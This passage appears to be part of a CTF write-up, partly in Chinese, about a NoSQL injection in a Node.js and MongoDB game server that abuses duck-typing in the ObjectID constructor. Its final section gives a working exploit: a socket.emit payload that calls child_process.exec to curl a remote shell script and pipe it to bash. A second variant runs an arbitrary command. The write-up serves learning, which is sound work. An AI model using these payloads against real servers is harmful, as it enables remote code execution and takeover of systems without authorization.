throw new Error("Argument passed in must be a single String of 12 bytes or a string of 24 hex characters");
} else if(valid && typeof id == 'string' && id.length == 24 && hasBufferType) {
return new ObjectID(new Buffer(id, 'hex'));
} else if(valid && typeof id == 'string' && id.length == 24) {
return ObjectID.createFromHexString(id);
} else if(id != null && id.length === 12) {
// assume 12 byte string
this.id = id;
} else if(id != null && id.toHexString) {
// Duck-typing to support ObjectId from different npm packages
return id;
} else {
throw new Error("Argument passed in must be a single String of 12 bytes or a string of 24 hex characters");
}
...

Now , we change our payload to
id = {"length":0,"toHexString":true,"id":{"length":12}},

And then the whole payload will be sent to mongodb server.

1
2
3
4
5
6
7
MongoDB shell version: 2.6.10
connecting to: test
> db.a.find({"b":{"$gt":1,"c":"d"}})
error: {
"$err" : "Can't canonicalize query: BadValue unknown operator: c",
"code" : 17287
}

So the whole exploit is

1
Client.socket.emit('init-world',{new:false,id:{"$in":[1],"require('child_process').exec('/usr/bin/curl host/shell2|bash')":"bbb","length":0,"toHexString":true,"id":{"length":12}},clientTime:"sacsaccsacsac"});

RR的exp

1
2
Client.getPlayerID = ()=>{return {'$a=1;require(`child_process`).exec(`command`);': "", toHexString: 1, id: {length: 12}}}
Client.requestData()

此处对node还是不熟悉,后面应该加强,回去看node和mongo了